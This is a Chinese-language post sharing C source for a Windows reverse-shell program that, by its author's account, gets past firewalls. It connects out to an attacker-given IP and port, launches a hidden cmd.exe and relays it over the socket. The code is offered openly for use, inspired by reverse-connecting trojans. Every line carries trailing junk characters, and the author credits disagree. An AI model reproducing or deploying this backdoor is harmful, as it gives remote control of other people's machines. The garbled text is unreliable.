这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]%
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/* ============================== \wYc1M@7V
Rebound port in Windows NT qe<Hfp/p
By wind,2006/7 "Ht'{ &
===============================*/ ioxbf6{
#include 3A_G=WaED
#include \^jjK,OK
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#pragma comment(lib,"wsock32.lib") /,!<Va;~
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void OutputShell(); Vz{>cSz#
SOCKET sClient; O5zE {#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @o6R[5(
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void main(int argc,char **argv) pr_>b`p6
{ 9YD\~v;x
WSADATA stWsaData; sf$o(^P9\A
int nRet; #AShbl jm+
SOCKADDR_IN stSaiClient,stSaiServer; R::zuv
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if(argc != 3) L_~8"I_
{ V4|uas{0I:
printf("Useage:\n\rRebound DestIP DestPort\n"); 5X#E@3g5
return; HJIC<U
} \|.7-X
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WSAStartup(MAKEWORD(2,2),&stWsaData); yrnv!moc%t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0]B(a
8#w)X/
stSaiClient.sin_family = AF_INET; 7b, (\Fm
stSaiClient.sin_port = htons(0); &dr@6-xaq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i)MEK#{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M/pMs 6
{ 1'JD =
printf("Bind Socket Failed!\n"); 0OnV0SIL
return; vQ1 v#Z
} nn+_TMu
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stSaiServer.sin_family = AF_INET; {e"dm5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (5a1P;_Y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .t=
; b*i3*!g
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0J9D"3T)
{ \vRd}
printf("Connect Error!"); GSi>l,y'
return; "hQgLG
} #$E)b:xj
OutputShell(); T]9m:zX9s
} ((bTwx
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void OutputShell() uOd&XW
{ 9AQxNbs
char szBuff[1024]; =n+ \\D
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; A%XX5*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cj$d=k~
STARTUPINFO stStartupInfo; F9a^ED0l\
char *szShell; _MuZ4tc
PROCESS_INFORMATION stProcessInformation; 02=ls V!U
unsigned long lBytesRead; r@kP*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); esX)"_xf
stSecurityAttributes.lpSecurityDescriptor = 0; M'L;N!1A
stSecurityAttributes.bInheritHandle = TRUE; ++jAz<46
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G^;>8r
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5T?-zFMM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pw[g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2VoKr)
stStartupInfo.wShowWindow = SW_HIDE; _>yoX
stStartupInfo.hStdInput = hReadPipe; lz<]5T|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oM1Qh?
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GetVersionEx(&stOsversionInfo); JSr$-C
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switch(stOsversionInfo.dwPlatformId) mJ}opy!{;
{ k[kju%i4
case 1: ._PzYE|m2
szShell = "command.com"; u0Nm.--;_3
break; Wl-<HR!n
default: !EIjN
szShell = "cmd.exe"; eOI (6U!
break; CAD@XZSh
}
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p B;3bc
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5d\q-d
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send(sClient,szMsg,77,0); 5ZY<JA3
while(1) ye}p~&
{ >e,mg8u6$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zd:Taieh@
if(lBytesRead) 0#*Lw }qi
{ 5jxQW
;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZJ*g))k7
send(sClient,szBuff,lBytesRead,0); N<(.%<!
} tjT>VwqH
else /Q{P3:k
{ Ch \&GzQ
lBytesRead=recv(sClient,szBuff,1024,0); m3<+yz$!r
if(lBytesRead<=0) break; oXXC@[??}N
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YXo|~p;=Y
} Z\}K{#
} pmWr]G3,*
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return; /X'(3'a
}